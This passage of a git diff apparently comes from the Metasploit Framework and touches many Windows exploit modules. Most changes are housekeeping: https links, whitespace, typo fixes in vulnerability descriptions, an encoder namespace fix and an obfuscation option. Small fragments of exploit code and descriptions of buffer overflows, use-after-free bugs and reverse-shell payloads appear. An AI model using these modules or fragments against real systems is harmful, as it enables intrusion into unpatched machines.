         the "Send()" method, an attacker may be able to execute arbitrary code.
         Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"
         yield for the best results.
@@ -78,5 +78,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb
index 1de35aea01..697f3c04f7 100644
--- a/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb
+++ b/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler(cli)
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb
index d85ea3d47d..3b02b3281d 100644
--- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb
+++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -141,7 +141,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if datastore['OBFUSCATE']
       js = ::Rex::Exploitation::JSObfu.new(js)
-      js.obfuscate
+      js.obfuscate(memory_sensitive: true)
     end
 
     html = <<-EOS
diff --git a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb
index 4de3ad69eb..2c41e08194 100644
--- a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb
+++ b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -213,5 +213,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb
index 3cf4c15a8e..6e321a97dc 100644
--- a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb
+++ b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -147,5 +145,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb
index 6940cda9b2..da235d60eb 100644
--- a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb
+++ b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -279,5 +279,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb
index 79d2d19558..de509252c7 100644
--- a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb
+++ b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -144,5 +142,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb
index f04bc9a3f3..e2ce4b2758 100644
--- a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb
+++ b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -335,5 +333,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def generate_padding
     rand_text_alphanumeric(rand(128)+4)
   end
-
 end
diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb
index 19b4c880a3..82bbcc2541 100644
--- a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb
+++ b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -24,9 +24,9 @@ class MetasploitModule < Msf::Exploit::Remote
         streams with certain MAPI attachment properties, it is possible to set a path name
         to files to be executed. When a user double clicks on such an attachment or message,
         Outlook will proceed to execute the file that is set by the path name value. These
-        files can be local files, but also file stored remotely for example on a file share.
-        Exploitation is limited by the fact that its is not possible for attackers to supply
-        command line options.
+        files can be local files, but also files stored remotely (on a file share, for example)
+        can be used. Exploitation is limited by the fact that it is not possible for attackers
+        to supply command line options.
       },
       'Author'		=> 'Yorick Koster <yorick[at]akitasecurity.nl>',
       'References'	=>
diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb
index 3ab54e7fb7..000ac80277 100644
--- a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb
+++ b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/emc/alphastor_agent.rb b/modules/exploits/windows/emc/alphastor_agent.rb
index 0210caf6b4..909d58e2c5 100644
--- a/modules/exploits/windows/emc/alphastor_agent.rb
+++ b/modules/exploits/windows/emc/alphastor_agent.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -75,5 +75,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/emc/alphastor_device_manager_exec.rb b/modules/exploits/windows/emc/alphastor_device_manager_exec.rb
index 6fed8c957e..edafc19557 100644
--- a/modules/exploits/windows/emc/alphastor_device_manager_exec.rb
+++ b/modules/exploits/windows/emc/alphastor_device_manager_exec.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -115,5 +120,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     data
   end
-
 end
diff --git a/modules/exploits/windows/emc/networker_format_string.rb b/modules/exploits/windows/emc/networker_format_string.rb
index b5fee3a390..6a8785f0b6 100644
--- a/modules/exploits/windows/emc/networker_format_string.rb
+++ b/modules/exploits/windows/emc/networker_format_string.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -108,7 +108,7 @@ class MetasploitModule < Msf::Exploit::Remote
       end
       fs << payload.encoded
 
-      xdr = XDR.encode(0, 2, rand_text_alpha(10), XDR.encode(fs, rand_text_alpha(10)), 2)
+      xdr = Rex::Encoder::XDR.encode(0, 2, rand_text_alpha(10), Rex::Encoder::XDR.encode(fs, rand_text_alpha(10)), 2)
       sunrpc_call(6, xdr)
       sunrpc_destroy
 
@@ -118,5 +118,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_error('EOFError')
     end
   end
-
 end
diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb
index 89f770269d..811abb4398 100644
--- a/modules/exploits/windows/emc/replication_manager_exec.rb
+++ b/modules/exploits/windows/emc/replication_manager_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb
index 602b2e7698..00faab0327 100644
--- a/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb
+++ b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/abbs_amp_lst.rb b/modules/exploits/windows/fileformat/abbs_amp_lst.rb
index 0e34800b2a..1fa5321339 100644
--- a/modules/exploits/windows/fileformat/abbs_amp_lst.rb
+++ b/modules/exploits/windows/fileformat/abbs_amp_lst.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a buffer overflow in ABBS Audio Media Player. The vulnerability
         occurs when adding a specially crafted .lst file, allowing arbitrary code execution with the privileges
-        of the user running the application . This module has been tested successfully on
+        of the user running the application. This module has been tested successfully on
         ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1.
       },
       'License'        => MSF_LICENSE,
diff --git a/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb b/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb
index b872f8e50c..515965924f 100644
--- a/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb
+++ b/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -166,7 +166,6 @@ TEMPLATE
     print_status("Creating '#{datastore['FILENAME']}' file ...")
     file_create(plp)
   end
-
 end
 
 
diff --git a/modules/exploits/windows/fileformat/acdsee_xpm.rb b/modules/exploits/windows/fileformat/acdsee_xpm.rb
index 21212d7979..83265b49bf 100644
--- a/modules/exploits/windows/fileformat/acdsee_xpm.rb
+++ b/modules/exploits/windows/fileformat/acdsee_xpm.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -75,5 +75,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(xpm)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb
index da463b5263..35017328ca 100644
--- a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb
+++ b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/activepdf_webgrabber.rb b/modules/exploits/windows/fileformat/activepdf_webgrabber.rb
index e487e13a06..a4f828917c 100644
--- a/modules/exploits/windows/fileformat/activepdf_webgrabber.rb
+++ b/modules/exploits/windows/fileformat/activepdf_webgrabber.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -101,7 +101,6 @@ try {
 
     file_create(content)
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb b/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb
index 1abf1abdc6..ca92d1ac94 100644
--- a/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb
+++ b/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -175,5 +175,4 @@ class MetasploitModule < Msf::Exploit::Remote
     pdf << "%%EOF" << eol
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
index 6b64e13e41..422e35cd73 100644
--- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
+++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -559,5 +559,4 @@ EOF
     pdf << "%%EOF" << eol
     pdf
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb
index 7cfef178a6..643d6b5656 100644
--- a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb
+++ b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -24,7 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
         NOTE: This module uses a similar DEP bypass method to that used within the
         adobe_libtiff module. This method is unlikely to work across various
-        Windows versions due a the hardcoded syscall number.
+        Windows versions due to a hardcoded syscall number.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -423,5 +423,4 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
     pdf << "%%EOF" << eol
     pdf
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb
index 239fe7706a..8a5a5d44fe 100644
--- a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb
+++ b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -419,5 +419,4 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
     pdf << "%%EOF" << eol
     pdf
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb
index b3368be5dc..8d522d884b 100644
--- a/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb
+++ b/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -232,5 +232,4 @@ for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; }
     pdf << "%%EOF" << eol
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/adobe_geticon.rb b/modules/exploits/windows/fileformat/adobe_geticon.rb
index ab4ccb4240..e5d6c2418f 100644
--- a/modules/exploits/windows/fileformat/adobe_geticon.rb
+++ b/modules/exploits/windows/fileformat/adobe_geticon.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -117,5 +117,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(pdf)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb
index 328912303b..2972dc811a 100644
--- a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb
+++ b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -92,5 +92,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(eps)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb
index f5b0e502a2..35339e4d35 100644
--- a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb
+++ b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -222,5 +222,4 @@ class MetasploitModule < Msf::Exploit::Remote
     pdf << xrefPosition.to_s() << eol
     pdf << "%%EOF" << eol
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/adobe_libtiff.rb b/modules/exploits/windows/fileformat/adobe_libtiff.rb
index b93724b2b1..acbb2ff85d 100644
--- a/modules/exploits/windows/fileformat/adobe_libtiff.rb
+++ b/modules/exploits/windows/fileformat/adobe_libtiff.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -381,5 +381,4 @@ EOS
 
     xml_data
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/adobe_media_newplayer.rb b/modules/exploits/windows/fileformat/adobe_media_newplayer.rb
index 89812cded0..4e6715b056 100644
--- a/modules/exploits/windows/fileformat/adobe_media_newplayer.rb
+++ b/modules/exploits/windows/fileformat/adobe_media_newplayer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -219,5 +219,4 @@ util.printd(#{rand3}, new Date());
     pdf << "%%EOF" << eol
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb
index 455fb32e3f..2c5bb0929c 100644
--- a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb
+++ b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -82,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote
         :startxref => startxrefs.last
       })
 
-      print_status("Parsing Successful. Creating '#{datastore['FILENAME']}' file...")
+      print_good("Parsing Successful. Creating '#{datastore['FILENAME']}' file...")
       file_create(output)
     rescue KeyError => e
       # Lazy fix:
diff --git a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb
index 791b209971..2348b1de03 100644
--- a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb
+++ b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe_nojs.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb
index fef900e8df..3b2682ca3b 100644
--- a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb
+++ b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -646,5 +646,4 @@ class MetasploitModule < Msf::Exploit::Remote
     pdf << xrefPosition.to_s() << eol
     pdf << "%%EOF" << eol
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/adobe_toolbutton.rb b/modules/exploits/windows/fileformat/adobe_toolbutton.rb
index 8cfa23a343..b411f7b954 100644
--- a/modules/exploits/windows/fileformat/adobe_toolbutton.rb
+++ b/modules/exploits/windows/fileformat/adobe_toolbutton.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Adobe Reader ToolButton Use After Free',
       'Description'    => %q{
-        This module exploits an use after free condition on Adobe Reader versions 11.0.2, 10.1.6
+        This module exploits a use after free condition on Adobe Reader versions 11.0.2, 10.1.6
         and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where
         the cEnable callback can be used to early free the object memory. Later use of the object
         allows triggering the use after free condition. This module has been tested successfully
@@ -328,7 +328,6 @@ EOF
     pdf << "%%EOF" << eol
     pdf
   end
-
 end
 
 
diff --git a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb
index b636ed4904..871819bd33 100644
--- a/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb
+++ b/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -487,5 +487,4 @@ EOF
     pdf << "%%EOF" << eol
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/adobe_utilprintf.rb b/modules/exploits/windows/fileformat/adobe_utilprintf.rb
index 65030d004d..143049c433 100644
--- a/modules/exploits/windows/fileformat/adobe_utilprintf.rb
+++ b/modules/exploits/windows/fileformat/adobe_utilprintf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -172,5 +172,4 @@ class MetasploitModule < Msf::Exploit::Remote
     pdf << "%%EOF" << eol
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb
index f15140a19a..6ae1b10e05 100644
--- a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb
+++ b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/altap_salamander_pdb.rb b/modules/exploits/windows/fileformat/altap_salamander_pdb.rb
index f5aa19eadd..c3ff5b9188 100644
--- a/modules/exploits/windows/fileformat/altap_salamander_pdb.rb
+++ b/modules/exploits/windows/fileformat/altap_salamander_pdb.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/aol_desktop_linktag.rb b/modules/exploits/windows/fileformat/aol_desktop_linktag.rb
index 54fcb1bb7a..cdf180f1e1 100644
--- a/modules/exploits/windows/fileformat/aol_desktop_linktag.rb
+++ b/modules/exploits/windows/fileformat/aol_desktop_linktag.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/aol_phobos_bof.rb b/modules/exploits/windows/fileformat/aol_phobos_bof.rb
index 6690e58859..99e415f447 100644
--- a/modules/exploits/windows/fileformat/aol_phobos_bof.rb
+++ b/modules/exploits/windows/fileformat/aol_phobos_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -127,5 +127,4 @@ for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{
 
     file_create(html)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb b/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb
index 5fea871ab5..45a05656cf 100644
--- a/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb
+++ b/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb
index 952f1af12b..c2f2504e2a 100644
--- a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb
+++ b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,8 +13,8 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",
       'Description'    => %q{
-        This module exploits a vulnerability found in Apple Quicktime. The flaw is
-        triggered when Quicktime fails to properly handle the data length for certain
+        This module exploits a vulnerability found in Apple QuickTime. The flaw is
+        triggered when QuickTime fails to properly handle the data length for certain
         atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
         overflow by loading a specially crafted .mov file, and allows arbitrary
         code execution under the context of the current user. Please note: Since an egghunter
diff --git a/modules/exploits/windows/fileformat/apple_quicktime_texml.rb b/modules/exploits/windows/fileformat/apple_quicktime_texml.rb
index 79a58f4429..4bd034d7e3 100644
--- a/modules/exploits/windows/fileformat/apple_quicktime_texml.rb
+++ b/modules/exploits/windows/fileformat/apple_quicktime_texml.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -127,5 +127,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}'.")
     file_create(texml)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/audio_coder_m3u.rb b/modules/exploits/windows/fileformat/audio_coder_m3u.rb
index d7ed0f75ee..0227c74536 100644
--- a/modules/exploits/windows/fileformat/audio_coder_m3u.rb
+++ b/modules/exploits/windows/fileformat/audio_coder_m3u.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/audio_wkstn_pls.rb b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb
index 2d1d2dd3c8..32e278b363 100644
--- a/modules/exploits/windows/fileformat/audio_wkstn_pls.rb
+++ b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -69,5 +69,4 @@ class MetasploitModule < Msf::Exploit::Remote
